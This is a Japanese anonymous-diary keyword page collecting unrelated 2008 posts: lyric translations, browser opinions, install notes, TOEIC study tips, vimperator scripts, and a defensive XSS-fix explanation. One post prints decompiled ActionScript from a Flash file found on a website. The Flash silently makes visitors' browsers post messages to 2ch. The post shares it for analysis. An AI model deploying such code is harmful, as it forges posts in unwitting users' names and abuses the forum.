「TEST」を含む日記 RSS

はてなキーワード: TESTとは

2008-12-08

Fucking Hostileの和訳 メモ

1, 2, 3, 4!

Almost every day

ほとんど毎日

I see the same face

同じ顔を

On broken picture tube

壊れたテレビで見るぜ

It fits the attitude

態度にピッタリだな

If you could see yourself

自分自身を見直してみろ

You put you on a shelf

自分のことを棚に上げながら

Your verbal masturbate

口先だけのオナニー

Promise to nauseate

ゲロみたいな約束なんだ、お前のやってることは

Today I'll play the part of non-parent

今日保護者の役はやれないな

Not make a hundred rules

100個もルールを作る気にもならない

For you to know about yourself

お前が自分自身についてわかるように

Not lie and make you believe

嘘なしで信じさせてやる

What's evil is making love

セックス

and making friends

友達も

and meeting God you're own way

神様に祈るのも悪いことさ

The right way

こいつが正しいんだ


(Chorus)

To see

見てみろ

To bleed

血を流してみろ

Cannot be taught

教えられることじゃねえ

In turn

次々に

You're making us

お前が俺を作ってるんだな

Ohhhh Fucking hostile

なんてお前は敵対的なんだ


We stand alone

俺たちは一人ぼっちってことさ


The truth in right and wrong

真実は間違ってるけど正しい

The boundaries of the law

法律すれすれのところで

You seem to miss the point

お前はしくじっちゃったみたいだな

Arresting for a joint?

マリファナに気づかれちまったのか?

You seem to wonder why

どうしてって聞きたいみたいだな

Hundreds of people die

何百もの人が死んでいって

You're writing tickets man

お前はその切符を書いてる

My mom got jumped -- they ran!

母親が飛ぶとあいつらは走るから

Now I'll play a public servant

警察と今遊んでるのさ


To serve and protect

奉仕して、守って

By the law and the state

法と国家によって

I'd bust the punks

パンク野郎をぶったおしてる

That rape steal and murder

盗み、強姦殺人

And leave you be

お前をそんなふうにして

If you crossed me

俺ともう一回会えるなら

I'd shake your hand like a man

人間にみたいに握手をしよう

Not a god

神じゃなくて


(Chorus)


Come meet your maker, boy

お前の親父に会わせろよ

Some things you can't enjoy

享受できないことだってあるさ

Because of heaven/hell

天国と地獄のせいさ

A fucking wives' tale

糞みたいな物語

They put it in your head

あいつらがお前の頭の中に入れて

Then put you in your bed

ベッドのそばで子守唄にする

He's watching say your prayers

お前のために祈ってる奴を見ろってあいつは言うなあ

Cause God is everywhere

神様はどこにでもいるからだってさ

Now I'll play a man learning priesthood

じゃあ俺は聖職者に付き従ってる男の役でもやってみよう

Who's about to take the ultimate test in life

誰が人生最大の問いなんてものを投げかけてきても

I'd question things because I am human

俺は人間だから答えてやろう

And call NO ONE my father who's no closer than a stranger

知らない奴より神様に近い奴なんていなんだ

I won't listen

聞きたくもないんだ


To see

見てみろ

To bleed

血を流してみろ

Cannot be taught

教えられることじゃねえ

In turn

次々に

You're making us

お前が俺をつくってるんだな

Fucking, fucking, fucking

糞みたいに

FUCKING HOSTILE!

お前は敵対的なんだ


安らかに眠れ

ダイムバッグダレル

2008-11-05

ブラウザ論争について

「IE8」「Firefox」「Safari」「Google Chrome」… 激化するブラウザ競争:アルファルファモザイク

http://alfalfa.livedoor.biz/archives/51386857.html

自分はFirefox 3をゴリゴリカスタマイズして使っています。

ですがFirefoxが他ブラウザに比べてそれほどに素晴らしいとおもっているわけではありません。

おそらく何割かの火狐ユーザーの何割かは

『特定アドオンが便利すぎてやめたくてもやめられない』

からFirefoxユーザーをやめられないのではないでしょうか。

自分はブラウザ比較で取りざたされるJava ScriptFlashの実効速度だの

レンダリング性能だのはブラウザ選びにそれほど重視しません(Acid Testの実行結果も)

記事であげられているブラウザのいくつかはテスト版からそれぞれ使用していますが、

いずれもソフトユーザー(そのブラウザのファン)からの要望をきちんと取り入れて今のような形になっているということが伺えます。

「○○が糞」という評価の仕方や「Proxomitronとの組み合わせ」をブラウザ比較で上げるのは

やはりあまり適切ではないのでは無いかと思います。

これは余談となります。

たんなる事実の一つですが、自分の周りの長くインターネットに携わっている、いわゆる上級者は

めぐりめぐってIEをタブなしで使うという結論に至る人が多いようです。

少なくともIEで見られないような設計をしてるサイトはないですから、それももちろん正解なのでしょう。

必要でないところに無用な労力を払わないというのも『できる奴』の条件ですし。

もしIE以外のブラウザをこれから使ってみようかという方は、ネット上での意見だけを頼りにせず自分で色々と試していただきたいです。

その結果IE 6が一番使いやすいと思ったとしてもそれは不正解でもなんでもありません。

きちんと自分にとって必要なソフトウェアを見極められたという証明と言って良いはずです。

2008-11-01

mobircいれるじゅんばんのメモ

svn から mobirc

ここみる http://d.hatena.ne.jp/h_kenan/20080717

apt-get から install Encode

svn から Encode

cd [Encode Dir] してから sudo perl Makefile.PL

モジュール一括インストール? sudo -H cpan App::Mobirc

やっぱり HTML::DoCoMoCSS でコケたので

make && make test して出てきた not installed を f**k

=> install Test::Spelling

=> install Test::Perl::Critic

=> install Test::Pod

sudo gnome-terminal

cd /home/pc/.cpan/build/HTML-DoCoMoCSS-0.01

make && make install

・・・いけたか?

・・・

・・・

・・・

はいむりー

2008-10-20

http://anond.hatelabo.jp/20081020053019

はいこんにちは! Hamachiya2だよ。

alertでなくなったね。こんな短時間ですごい。
エガミくん飲み込みはやい感じだね…。

ええと、あとは、下の方の画像で、どうもマーキータグ(marquee)が埋め込まれてるみたいってことだよね。
うん。もう一回、htmlソースを表示ってして確認してみたよ。
こんなのが埋め込まれてた。

<img src='http://farm4.static.flickr.com/3120/2784053843_b7a7d07c9a_s.jpg' border=0 title=<marquee>test XSS</marquee> alt=<marquee>test XSS</marquee> />

これは問題点が二つあってね、
1つは、タグエスケープしわすれている箇所がある点
もう1つが、html属性値(alt=ナントカとか)をクオートでくくってない点

この二つを直していこうか!

phpプログラムの中のどこかで、<img>タグを出そうとしている部分があるはずだよ。
まずはそれを探そう。

そしたらきっと、その部分は、imgにphp変数を色々埋め込んで出そうとしているはず。
たとえばこんな風に。

echo "<img src='xxxxxx" . $hensuu1 "' title=" . $hensuu2 . " />";

これの$hennsuuも全てhtmlspecialchars()してあげる感じかな。

echo "<img src='xxxxxx" . htmlspecialchars($hensuu1, ENT_QUOTES) "' title=" . htmlspecialchars($hensuu2, ENT_QUOTES) . " />";

こうだね。

そうすればmarqueeタグが埋め込まれていても、

<img src="xxxxxxxx" title=&lt;marquee&gt;test xss&lt;/marquee&gt; />

こんな風にmarqueeとかがタグじゃなくなるので防げる。
でも完全じゃないんだこれ。
さっきも言った、属性値のクオートが足りてないから、ちょっと工夫すればxssやられちゃう。
詳細は長くなるので今は省くけど。

だから上の対処に加えて、titleとかaltとかの中身が、htmlでみた時に、ダブルクオートかシングルクオートで
くくられているようにしてやれば、いい感じになるよ!

<img src="xxxxx" title=ぺろぺろ alt=ぺろぺろ />

こうじゃなくて

<img src="xxxxx" title="ぺろぺろ" alt="ぺろぺろ" />

こうなるようにしよう。

(追記)

ちなみに、何で悪い大人の人はXSS脆弱性を突いてきて悪い事をするんですかー??

それだけエガミくんの生み出すものが注目されているってことだよ。
目立つとどうしても悪い人も寄ってきちゃうから困るよね。

2008-10-19

test

これでいいのかな?

40歳平凡サラリーマン半年でTOEIC400点から700点を獲得した方法

学校卒業以来20年以上英語とは無縁の生活を送ってきた平凡な40歳技術サラリーマン半年TOEICスコア400→700点(+300点)獲得したので、その記録をまとめておきます

・初TOEIC

勤めている会社で去年から管理職になるための資格としてTOEIC600点が必要になった。それで人生初のTOEIC受験試験数日前に「はじめてのTOEIC...」的な本を1冊買って、適当に読んだだけで臨んだ初TOEIC。残り20問以上は時間ぎれで適当マーク。結果は400点(リスニング170点、リーディング230点)。これじゃあ、完全にヤバイと思いTOEIC勉強生活を開始した。

・基礎単語力をつける

NHKラジオ基礎英語1」「NHKラジオ基礎英語2」「NHKラジオ基礎英語3」(各15分)を聴いて徹底的に復習した。だいたい毎日1時間くらい。テキスト安価で内容はかなり濃い。これを3ヶ月続けるだけでも相当な基礎力が身につく。基礎英語中学生用などと馬鹿にはできない。

ビジネス英語に触れる

TOEICビジネス英語関係する問題が多いので、ビジネス英語をやっておく必要がある。NHKラジオの「入門ビジネス英語」がかなり使える。入門といってもレベルはかなり高い。もうひとつNHKラジオ講座に「実践ビジネス英語」というのがあるが、こちらの難易度は高すぎてすぐに挫折した。

対策本でTOEIC対策をする

TOEIC Test「正解」が見える キム・デギュン』、俗称「キム本」と言われているTOEIC愛好家の間ではとても有名な本。目からうろこ攻略法がいくつもかかれている。TOEIC400点レベルの人ならこれをやるだけで50点から100点アップは軽く期待できる。

公式問題集を何度も解く

TOEIC受験の1ヶ月前からは、「TOEICテスト公式問題集」を5、6回解いた。何度も練習することでリスニングも鍛えられるし、リーディング時間配分も頭にたたきこまれる。TOEIC直前に勉強時間がない場合は、前述の「キム本」と「公式問題集」をやるだけでかなり効果がある。

メールマガジン活用する

はじめはTOEIC対策メルマガ10個位登録したが、欲張りすぎてすぐに続かなくなりゴミ箱に捨てる日々が続いた。結局はひとつメルマガに絞った。それが、「TOEICリスニングリーディング特効薬!」(http://www.mag2.com/m/0000094849.html)。週一発行でかなり濃い内容となっている。これを2ヶ月くらい続けていくうちにリスニングリーディング共にかなり自信がついてきた。

英語ブログモチベーションを維持する

TOEIC受けるまで全く知らなかったけど、英語学習している人のブログってものすごくある。結論として一番為になったブログは「ほぼ毎日英語学習日記http://kyonenglish.blog98.fc2.com/)」。ここの管理人TOEIC465点アップを果たしているという点で凄いが、それ以上に幅広い有益情報提供してくれるのが凄い。毎回更新が楽しみなのでTOEIC目標達成後も愛読している。NHKテレビ放送されているABCニュースシャワーという英語ニュース番組動画つきで紹介してくれるが、これはリスニング強化に役立つ。

・まとめ

上記の内容を半年続けた結果、TOEICで700点(リスニング380、リーディング320)を獲得することができた。しかし、実は直近のTOEICでは630点に低下した。TOEICで感じたのは、リスニング比較的簡単に伸びやすいということ。400点レベルの人はリスニング対策しっかりやればそれなりのアップが期待できる。リーディング最後の長文でどうしても時間が足りなくなる。700点獲得したときも残り10問は時間切れで適当マークした。リーディングを伸ばすには英文を日頃からたくさん読むなどの努力必要と感じた。

400点だった頃は、700点とかってすごい英語ができる人のイメージだったけど、実際に700点とって感じたことは「そんなことない」。実際の英語ニュースを聴いても半分も理解できないし、英会話なんて全くできない。TOEIC700点というのは、あくまでもTOEICがある程度できるという証明であり、英語ができるということではない。

ちなみに今はTOEICだけじゃなくて真の英語力を身に付ける学習に切り替えている。

2008-08-04

予告.inに仕込まれてた自動2ch書き込みFlashActionScript抽出してみた

予告.inに仕込まれてたFlash

yutori.2ch.net.hp.infoseek.co.jp/w/r/e/wrestleangel/post2ch.swf#host=yutori.2ch.net

ここ↑にあるやつ。

解説よろしく。

movie 'post2ch.swf' {
// flash 8, total frames: 17, frame rate: 12 fps, 320x320 px

  frame 1 {
    System.useCodepage = true;
    nret = function (k, v) {
      return (flash.external.ExternalInterface.call('d', k, v)).toString();
    };

    host2ch = 'tmp6.2ch.net';
    i = _url.indexOf('://');
    if (-1 < i) {
      host2ch = _url.substring(i + 3);
    }
    i = host2ch.indexOf('.2ch.net');
    if (-1 < i) {
      host2ch = host2ch.substring(0, i + 8);
    }
    path2ch = '/test/bbs.cgi?guid=ON';
    l = new LoadVars();
    i = _url.indexOf('#');
    u = '';
    if (0 < i) {
      u = _url.substring(i + 1);
    }
    LoadVars.prototype.sendNoEnc = function (url, target, method) {
      LoadVars.prototype._toString = LoadVars.prototype.toString;
      LoadVars.prototype.toString = function () {
        return unescape(this._toString());
      };

      ASSetPropFlags(LoadVars.prototype, '_toString', 3);
      this.send(url, target, method);
      LoadVars.prototype.toString = LoadVars.prototype._toString;
    };

    ASSetPropFlags(LoadVars.prototype, 'sendNoEnc', 3);
  }

  frame 2 {
    _root.nowtime = null;
    _root.secondpost = null;
    _root.FROM = null;
    _root.mail = null;
    _root.MESSAGE = null;
    _root.subject = null;
    _root.ng = null;
  }

  frame 3 {
    (flash.external.ExternalInterface.call('c')).toString();
  }

  frame 9 {
    if (_root.nowtime == null) {
      if (!_root.ng) {
        gotoAndPlay(3);
      } else {
        this.stop();
      }
    }
  }

  frame 10 {
    if (_root.nowtime == null) {
      gotoAndPlay(3);
    }
    nowtime = _root.nowtime;
    l.addRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    l.hana = 'mogera';
    l.time = '1180000000';
    if (l.time < nowtime) {
      l.time = nowtime;
    }
    l.key = '';
    l.bbs = 'kitchen';
    l.MESSAGE = '%82%D3%82%F1%82%C7%82%B5';
    l.subject = '%82%D3%82%F1%82%C7%82%B5';
    l.mail = '';
    l.FROM = '%82%D3%82%F1%82%C7%82%B5';
    l.submit = '%8F%E3%8BL%91S%82%C4%82%F0%8F%B3%91%F8%82%B5%82%C4%8F%91%82%AB%8D%9E%82%DE';
    buf = u.split('&amp;');
    i = 0;
    goto 623;
    for (;;) {
      ++i;
      label 623:
      if (i >= buf.length) break;
      a = buf[i].split('=');
      if (a[0] == 'FROM') {
        nret('FROM', a[1]);
      }
      if (a[0] == 'mail') {
        nret('mail', a[1]);
      }
      if (a[0] == 'MESSAGE') {
        nret('MESSAGE', a[1]);
      }
      if (a[0] == 'subject') {
        nret('subject', a[1]);
      }
      if (a[0] == 'key') {
        l.key = a[1];
      }
      if (a[0] == 'time') {
        l.time = a[1];
      }
      if (a[0] == 'bbs') {
        l.bbs = a[1];
      }
      if (a[0] == 'host') {
        host2ch = a[1];
      }
      if (a[0] == 'path') {
        path2ch = a[1];
      }
    }
  }

  frame 16 {
    if (_root.nowtime == null) {
      gotoAndPlay(3);
    }
    if (_root.FROM != null) {
      l.FROM = _root.FROM;
    }
    if (_root.mail != null) {
      l.mail = _root.mail;
    }
    if (_root.MESSAGE != null) {
      l.MESSAGE = _root.MESSAGE;
    }
    if (_root.subject != null) {
      l.subject = _root.subject;
    }
    if (l.key != '') {
      l.subject = '';
    }
    if (l.subject != '') {
      l.key = '';
    }
    l.sendNoEnc('http://' + host2ch + path2ch, '_2ch', 'POST');
  }

  frame 17 {
    if (_root.secondpost != null) {
      _root.secondpost = null;
      gotoAndPlay(4);
    }
    _root.nowtime = null;
    gotoAndPlay(2);
  }
}
||>

2008-08-03

ニコニコ動画を快適化するvimperator設定まとめ

.

8/27追記

本記事末尾のローカルkey mappingを実現するコードを改良してプラグインにしました。

Vimperatorローカルkey mappingを実現するプラグイン local_mappings.js を書いた。

http://anond.hatelabo.jp/20080826124641


まずnicontroller.jsを入れる。

2008-07-14 - やぬすさんとこの日記

http://d.hatena.ne.jp/janus_wel/20080714

→n秒後/前に移動するkey mappingも忘れずに!

vimperatorrcにこれを書く。

Re: autocmd が分からない - hogehoge

http://d.hatena.ne.jp/teramako/20080731/p1

コードをいじった。

" --- autocmd ---

" nicovideo
" cでコメント入力、Cでコマンド入力、sでシーク、lでボリューム調整、
" pで停止/再生、mでミュートのon/off、vでコメの表示トグル、zでズームjavascript <<EOM
liberator.plugins.nicomap = function(){
  // no args
  var list=[
    ["p","nicopause"],
    ["m","nicomute"],
    ["v","nicomementvisible"],
    ["z","nicosize"],
    ["s","nicoseek"],
  ];
  // has args
  var list2=[
    ["c","nicomment"],
    ["C","nicommand"],
    ["l","nicovolume"],
    ["s","nicoseek"],
  ];
  if(buffer.URL.indexOf("http://www.nicovideo.jp/watch") == 0){
    for (var j=0; j<list.length; j++){
      let i = j;
      liberator.mappings.addUserMap([1],[list[i][0]],list[i][1],
        function(){
          liberator.execute(list[i][1]);
        },{
          rhs:":"+list[i][1]+"<CR>"
        }
      );
    }
    for (var j=0; j<list2.length; j++){
      let i = j;
      liberator.mappings.addUserMap([1],[list2[i][0]],list2[i][1],
        function(){
	  liberator.execute('normal :'+list2[i][1]+'<Space>');
	},{
	  rhs:":"+list2[i][1]+"<Space>"
	}
      );
    }
  } else {
    for (var i=0; i<list.length; i++){
      liberator.mappings.remove(1,list[i][0]);
    }
    for (var i=0; i<list2.length; i++){
      liberator.mappings.remove(1,list2[i][0]);
    }
  }
};
liberator.autocommands.add('LocationChange','.*','js liberator.plugins.nicomap()');
EOM

フォーカスプレーヤーに奪われないようにするグリモン

2008-08-02 - 地獄の猫日記

http://d.hatena.ne.jp/nokturnalmortum/20080802#1217633913

→→これで超快適すぎるニコライフの幕開け!

.

補足

現在マウスカーソル位置でクリックイベント発生するkey mappingを設定できればより快適なんだが・・・。

(「コメントする」ボタンDOMノードが取得できれば、dispatchEventでいけそうだけど)

追記: ちょっと改良してみた。
" ************* local key mappings ****************
javascript <<EOM
 (function(){
function setlocalmap(obj){
    var list = obj.list;
    var list2 = obj.list2;
    var exp = obj.exp;
    if(list.constructor != Array || list2.constructor != Array){
      echr("invalid argument: array argument required");return;
    }
    if(exp.constructor != RegExp){
      echr("invalid argument: regex argument required");return;
    }
    if(exp.test(liberator.buffer.URL)){
      for (var j=0; j<list.length; j++){
        let i = j;
        liberator.mappings.addUserMap([1],[list[i][0]],list[i][1],
          function(){
            liberator.execute(list[i][1]);
          },{
            rhs:":"+list[i][1]+"<CR>"
          }
        );
      }
      for (var j=0; j<list2.length; j++){
        let i = j;
        liberator.mappings.addUserMap([1],[list2[i][0]],list2[i][1],
          function(){
  	  liberator.execute('normal :'+list2[i][1]+'<Space>');
  	},{
  	  rhs:":"+list2[i][1]+"<Space>"
  	}
        );
      }
    } else {
      for (var i=0; i<list.length; i++){
        liberator.mappings.remove(1,list[i][0]);
      }
      for (var i=0; i<list2.length; i++){
        liberator.mappings.remove(1,list2[i][0]);
      }
    }
}
/** 
 * Add Key Mappings to Specific Web Pages
 * @param obj : has following properties
 *  list : commands that take no args
 *  list2 : commands that take args
 *  exp : target page's URL (regex)
 * @see Re: autocmd が分からない - hogehoge
 * http://d.hatena.ne.jp/teramako/20080731/p1
 */
liberator.plugins.addLocalUserMap = function(obj){
  liberator.plugins[obj.name + "MapSetter"] = function(){
    setlocalmap(obj);
  }
  liberator.autocommands.add(
  	'LocationChange', '.*', 'js liberator.plugins.' + obj.name + 'MapSetter()'
  );
};

// nicovideo
// cでコメント入力、Cでコマンド入力、sでシーク、lでボリューム調整、
// pで停止/再生、mでミュートのon/off、vでコメの表示トグル、zでズーム。
var nicovideo = {
	name : 'nico',
	exp : /^http:\/\/www.nicovideo.jp\/watch/,
	list : [
	    ["p","nicopause"],
	    ["m","nicomute"],
	    ["v","nicomementvisible"],
	    ["z","nicosize"],
	    ["s","nicoseek"],

	],
	list2 : [
	    ["c","nicomment"],
	    ["C","nicommand"],
	    ["l","nicovolume"],
	    ["s","nicoseek"],
	],
};
liberator.plugins.addLocalUserMap(nicovideo);
})();
EOM
ログイン ユーザー登録
ようこそ ゲスト さん